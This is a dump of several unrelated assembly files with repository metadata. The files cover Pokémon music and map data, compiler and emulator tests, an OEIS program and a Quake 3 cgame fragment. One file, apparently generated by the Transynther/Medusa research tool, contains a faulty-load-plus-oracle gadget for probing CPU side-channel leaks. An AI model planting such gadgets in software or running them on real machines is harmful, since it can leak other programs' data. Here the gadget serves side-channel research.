octave 4
note G_, 1
note F#, 1
note F_, 1
octave 5
note G_, 1
octave 4
note G_, 1
note F#, 1
note F_, 1
octave 5
note G_, 1
octave 4
note G_, 1
note F#, 1
note F_, 1
octave 5
note G_, 1
octave 4
note G_, 1
note F#, 1
note F_, 1
octave 5
note G_, 1
octave 4
note G_, 1
note F#, 1
note F_, 1
octave 5
note G_, 1
octave 4
note G_, 1
note F#, 1
note F_, 1
octave 5
note G_, 1
octave 4
note G_, 1
note F#, 1
note F_, 1
octave 5
note G_, 1
note_type 12, 12, 2
octave 4
note G_, 6
octave 3
note G_, 6
note G_, 12
note G_, 14
note G_, 6
note G_, 10
note_type 12, 9, 0
note F#, 10
note_type 12, 12, 2
note G_, 6
note G_, 6
note G_, 12
note G_, 14
note G_, 6
note G_, 10
note G_, 10
Music_WildBattle_branch_23225::
note_type 12, 12, 5
note G_, 6
note F#, 6
note E_, 4
note G_, 6
note A_, 6
note G_, 4
octave 4
note G#, 12
note G_, 2
rest 2
note G#, 2
note G_, 2
rest 4
note_type 12, 11, 7
octave 5
note C#, 8
note_type 12, 12, 5
octave 4
note C_, 6
octave 3
note A#, 6
note G#, 4
octave 4
note C#, 6
note C_, 6
octave 3
note A#, 4
octave 4
note F_, 6
note E_, 6
note D_, 4
note_type 12, 12, 7
octave 3
note A#, 4
octave 4
note C_, 4
note D_, 4
note F_, 4
note_type 12, 12, 0
note G#, 16
note_type 12, 11, 0
note G#, 16
note_type 12, 4, -6
note G_, 16
note_type 12, 12, 7
note G_, 16
octave 3
note F_, 8
note A#, 8
octave 4
note D_, 8
note F_, 8
note_type 12, 12, 0
note E_, 16
note_type 12, 12, 7
note E_, 16
octave 3
note F_, 8
note A#, 8
octave 4
note D_, 8
note F_, 8
note_type 12, 12, 0
note G_, 16
note_type 12, 3, -7
octave 5
note C_, 16
note_type 12, 12, 5
octave 4
note E_, 12
note E_, 2
rest 2
note F_, 2
note_type 12, 12, 1
note E_, 4
note_type 12, 12, 5
rest 10
note F_, 12
note F_, 2
rest 2
note G#, 2
note_type 12, 10, 3
note G_, 6
note_type 12, 12, 7
note F_, 8
sound_loop 0, Music_WildBattle_branch_23225
Music_WildBattle_Ch3::
vibrato 0, 2, 0
note_type 12, 1, 1
octave 4
note C#, 1
rest 1
note C#, 1
note C_, 1
note D_, 1
rest 1
note D_, 1
note C_, 1
note D#, 1
rest 1
note D#, 1
note C_, 1
note E_, 1
rest 1
note E_, 1
note C_, 1
note F_, 1
rest 1
note F_, 1
note C_, 1
note F#, 1
rest 1
note F#, 1
note C_, 1
note G_, 1
rest 1
note G_, 1
note C_, 1
octave 3
note A#, 2
note B_, 2
Music_WildBattle_branch_232b5::
octave 4
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C#, 2
note G#, 2
note C#, 4
note G#, 2
note A#, 2
note G#, 2
note G_, 2
note C#, 2
note G#, 2
note C#, 4
note G#, 2
note A#, 2
note G#, 2
note F_, 2
sound_loop 2, Music_WildBattle_branch_232b5
Music_WildBattle_branch_232d8::
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note G#, 12
note G_, 2
rest 2
note G#, 2
note G_, 2
rest 4
note F_, 2
note E_, 2
note D_, 2
note C#, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
octave 3
note A#, 2
octave 4
note F_, 2
octave 3
note A#, 2
octave 4
note F_, 2
octave 3
note A#, 2
octave 4
note F_, 2
octave 3
note A#, 2
octave 4
note F_, 2
octave 3
note A#, 2
octave 4
note F_, 2
octave 3
note A#, 2
octave 4
note F_, 2
octave 3
note A#, 2
octave 4
note F_, 2
octave 3
note A#, 2
octave 4
note F_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note F_, 2
note C_, 2
note F_, 2
note C_, 2
note F_, 2
note C_, 2
note F_, 2
note C_, 2
note F_, 2
note C_, 2
note F_, 2
note C_, 2
note F_, 2
note C_, 2
note F_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C_, 2
note G_, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
note C#, 2
note G#, 2
sound_loop 0, Music_WildBattle_branch_232d8
| 12.447903
| 44
| 0.59213
|
f26cfd15805a561ca17c8a2238e455390d4239bc
| 246
|
asm
|
Assembly
|
mc-sema/validator/x86_64/tests/CVTSS2SDrm.asm
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | 2
|
2021-08-07T16:21:29.000Z
|
2021-11-17T10:58:37.000Z
|
mc-sema/validator/x86_64/tests/CVTSS2SDrm.asm
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | null | null | null |
mc-sema/validator/x86_64/tests/CVTSS2SDrm.asm
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | null | null | null |
BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
;TEST_BEGIN_RECORDING
lea rcx, [rsp-4]
mov DWORD [rcx], 0x3fc00000
cvtss2sd xmm0, [rcx]
mov ecx, [rcx]
;TEST_END_RECORDING
xor ecx, ecx
cvtsi2sd xmm0, ecx
| 13.666667
| 27
| 0.780488
|
949f7eb8fd239875220cef328417ae6ce4ebc712
| 434
|
asm
|
Assembly
|
programs/oeis/071/A071877.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/071/A071877.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/071/A071877.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A071877: Decimal expansion of the tenth (of 10) decimal selvage number; the n-th digit of a decimal selvage number, x, is equal to the tenths digit of n*x.
; 8,7,6,5,3,2,1,0,8,7,6,5,3,2,1,0,9,7,6,5,4,2,1,0,9,7,6,5,4,2,1,0,9,8,6,5,4,3,1,0,9,8,6,5,4,3,1,0,9,8,7,5,4,3,2,0,9,8,7,5,4,3,2,0,9,8,7,6,4,3,2,1,9,8,7,6,4,3,2,1,9,8,7,6,5,3,2,1,0,8,7,6,5,3,2,1,0,9,7,6
seq $0,157961 ; a(n) = 242*n - 1.
div $0,196
mul $0,9
add $0,9
mod $0,10
| 48.222222
| 201
| 0.596774
|
57623a0099bba3953899ded0dfc85ed45ef645fb
| 60
|
asm
|
Assembly
|
src/main/fragment/mos6502-common/vwum1=vwum2_minus_vbuaa.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/main/fragment/mos6502-common/vwum1=vwum2_minus_vbuaa.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/main/fragment/mos6502-common/vwum1=vwum2_minus_vbuaa.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
eor #$ff
sec
adc {m2}
sta {m1}
lda {m2}+1
sbc #0
sta {m1}+1
| 7.5
| 10
| 0.566667
|
f7dca8e6d6ebf20a48dff57fb94ed8f2c219c98f
| 272
|
asm
|
Assembly
|
data/mapHeaders/VermilionDock.asm
|
AmateurPanda92/pokemon-rby-dx
|
f7ba1cc50b22d93ed176571e074a52d73360da93
|
[
"MIT"
] | 9
|
2020-07-12T19:44:21.000Z
|
2022-03-03T23:32:40.000Z
|
data/mapHeaders/VermilionDock.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 7
|
2020-07-16T10:48:52.000Z
|
2021-01-28T18:32:02.000Z
|
data/mapHeaders/VermilionDock.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 2
|
2021-03-28T18:33:43.000Z
|
2021-05-06T13:12:09.000Z
|
VermilionDock_h:
db SHIP_PORT ; tileset
db VERMILION_DOCK_HEIGHT, VERMILION_DOCK_WIDTH ; dimensions (y, x)
dw VermilionDock_Blocks ; blocks
dw VermilionDock_TextPointers ; texts
dw VermilionDock_Script ; scripts
db 0 ; connections
dw VermilionDock_Object ; objects
| 30.222222
| 67
| 0.8125
|
c93d6d28a087d8f4d453bb13f9cbd6f14afd15e6
| 207
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/w_array/c/sdcc_iy/w_array_destroy_fastcall.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/adt/w_array/c/sdcc_iy/w_array_destroy_fastcall.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/adt/w_array/c/sdcc_iy/w_array_destroy_fastcall.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; void w_array_destroy_fastcall(w_array_t *a)
SECTION code_clib
SECTION code_adt_w_array
PUBLIC _w_array_destroy_fastcall
EXTERN asm_w_array_destroy
defc _w_array_destroy_fastcall = asm_w_array_destroy
| 17.25
| 52
| 0.874396
|
d68eaafae7fb3eea721507723f41c3d1c3f61bbd
| 7,270
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_2454.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_2454.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_2454.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x12542, %rsi
lea addresses_WC_ht+0xe4c2, %rdi
nop
add $28788, %r11
mov $107, %rcx
rep movsw
nop
nop
add $17436, %rdx
lea addresses_normal_ht+0x13d42, %r8
nop
dec %r10
mov (%r8), %edi
nop
nop
cmp $54058, %r8
lea addresses_WT_ht+0xe042, %r10
nop
nop
nop
nop
add %rcx, %rcx
mov $0x6162636465666768, %r11
movq %r11, (%r10)
nop
nop
dec %rcx
lea addresses_D_ht+0xb08f, %rsi
lea addresses_D_ht+0x8c2, %rdi
clflush (%rdi)
nop
nop
nop
nop
and $10515, %r14
mov $74, %rcx
rep movsq
nop
nop
nop
nop
add $39262, %r8
lea addresses_normal_ht+0x148e2, %r10
and $25732, %r14
and $0xffffffffffffffc0, %r10
movntdqa (%r10), %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
nop
nop
nop
sub %r11, %r11
lea addresses_D_ht+0x12b1e, %rcx
clflush (%rcx)
nop
nop
nop
nop
cmp $25950, %r8
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rsi
nop
nop
nop
sub $6662, %rdi
lea addresses_normal_ht+0x1ee42, %r8
nop
nop
nop
sub %r10, %r10
movb (%r8), %r14b
nop
xor $39507, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r8
push %rbx
push %rcx
push %rdx
// Store
lea addresses_UC+0x4442, %rbx
nop
xor $10063, %r14
mov $0x5152535455565758, %r8
movq %r8, %xmm2
vmovups %ymm2, (%rbx)
nop
nop
nop
nop
and $31224, %r12
// Load
lea addresses_RW+0xb5c8, %r14
nop
xor $13534, %r13
mov (%r14), %ecx
nop
nop
nop
sub %r12, %r12
// Store
mov $0x442, %rdx
nop
nop
nop
nop
and $10248, %r14
movw $0x5152, (%rdx)
nop
nop
nop
nop
and $33147, %r12
// Load
mov $0x4a49760000000642, %rdx
nop
dec %rbx
mov (%rdx), %ecx
nop
cmp $25178, %r12
// Store
lea addresses_US+0xb242, %r8
and %r14, %r14
mov $0x5152535455565758, %r12
movq %r12, %xmm0
vmovups %ymm0, (%r8)
nop
nop
nop
nop
nop
xor %rcx, %rcx
// Store
lea addresses_D+0xda42, %r14
nop
nop
inc %rcx
movl $0x51525354, (%r14)
nop
cmp %r8, %r8
// Faulty Load
lea addresses_UC+0x242, %rbx
nop
nop
nop
nop
nop
xor %r8, %r8
movups (%rbx), %xmm0
vpextrq $0, %xmm0, %r12
lea oracles, %rcx
and $0xff, %r12
shlq $12, %r12
mov (%rcx,%r12,1), %r12
pop %rdx
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': True, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': True}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 33.196347
| 2,999
| 0.653783
|
b631f8986e4dd9d4881f725310f42644fcdec284
| 46,035
|
asm
|
Assembly
|
ioq3/build/release-js-js/baseq3/cgame/cg_servercmds.asm
|
RawTechnique/quake-port
|
2e7c02095f0207831a6026ec23b1c1d75c24f98d
|
[
"MIT"
] | 1
|
2021-12-31T10:26:58.000Z
|
2021-12-31T10:26:58.000Z
|
ioq3/build/release-js-js/baseq3/cgame/cg_servercmds.asm
|
unfriendly/quake-port
|
2e7c02095f0207831a6026ec23b1c1d75c24f98d
|
[
"MIT"
] | 28
|
2019-03-05T20:45:07.000Z
|
2019-03-05T20:45:57.000Z
|
ioq3/build/release-js-js/baseq3/cgame/cg_servercmds.asm
|
unfriendly/quake-port
|
2e7c02095f0207831a6026ec23b1c1d75c24f98d
|
[
"MIT"
] | null | null | null |
code
proc CG_ParseScores 212 12
CNSTI4 1
ARGI4
ADDRLP4 8
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 8
INDIRP4
ARGP4
ADDRLP4 12
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cg+110452
ADDRLP4 12
INDIRI4
ASGNI4
ADDRGP4 cg+110452
INDIRI4
CNSTI4 64
LEI4 $73
ADDRGP4 cg+110452
CNSTI4 64
ASGNI4
LABELV $73
CNSTI4 2
ARGI4
ADDRLP4 16
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 16
INDIRP4
ARGP4
ADDRLP4 20
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cg+110460
ADDRLP4 20
INDIRI4
ASGNI4
CNSTI4 3
ARGI4
ADDRLP4 24
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 24
INDIRP4
ARGP4
ADDRLP4 28
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cg+110460+4
ADDRLP4 28
INDIRI4
ASGNI4
ADDRGP4 cg+110468
ARGP4
CNSTI4 0
ARGI4
CNSTU4 3840
ARGU4
ADDRGP4 qk_memset
CALLP4
pop
ADDRLP4 0
CNSTI4 0
ASGNI4
ADDRGP4 $85
JUMPV
LABELV $82
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 4
ADDI4
ARGI4
ADDRLP4 36
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 36
INDIRP4
ARGP4
ADDRLP4 40
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468
ADDP4
ADDRLP4 40
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 5
ADDI4
ARGI4
ADDRLP4 48
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 48
INDIRP4
ARGP4
ADDRLP4 52
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+4
ADDP4
ADDRLP4 52
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 6
ADDI4
ARGI4
ADDRLP4 60
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 60
INDIRP4
ARGP4
ADDRLP4 64
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+8
ADDP4
ADDRLP4 64
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 7
ADDI4
ARGI4
ADDRLP4 72
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 72
INDIRP4
ARGP4
ADDRLP4 76
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+12
ADDP4
ADDRLP4 76
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 8
ADDI4
ARGI4
ADDRLP4 84
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 84
INDIRP4
ARGP4
ADDRLP4 88
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+16
ADDP4
ADDRLP4 88
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 9
ADDI4
ARGI4
ADDRLP4 92
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 92
INDIRP4
ARGP4
ADDRLP4 96
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 4
ADDRLP4 96
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 10
ADDI4
ARGI4
ADDRLP4 104
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 104
INDIRP4
ARGP4
ADDRLP4 108
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+24
ADDP4
ADDRLP4 108
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 11
ADDI4
ARGI4
ADDRLP4 116
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 116
INDIRP4
ARGP4
ADDRLP4 120
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+28
ADDP4
ADDRLP4 120
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 12
ADDI4
ARGI4
ADDRLP4 128
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 128
INDIRP4
ARGP4
ADDRLP4 132
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+32
ADDP4
ADDRLP4 132
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 13
ADDI4
ARGI4
ADDRLP4 140
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 140
INDIRP4
ARGP4
ADDRLP4 144
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+36
ADDP4
ADDRLP4 144
INDIRI4
ASGNI4
ADDRLP4 148
CNSTI4 14
ASGNI4
ADDRLP4 148
INDIRI4
ADDRLP4 0
INDIRI4
MULI4
ADDRLP4 148
INDIRI4
ADDI4
ARGI4
ADDRLP4 156
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 156
INDIRP4
ARGP4
ADDRLP4 160
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+40
ADDP4
ADDRLP4 160
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 15
ADDI4
ARGI4
ADDRLP4 168
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 168
INDIRP4
ARGP4
ADDRLP4 172
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+44
ADDP4
ADDRLP4 172
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
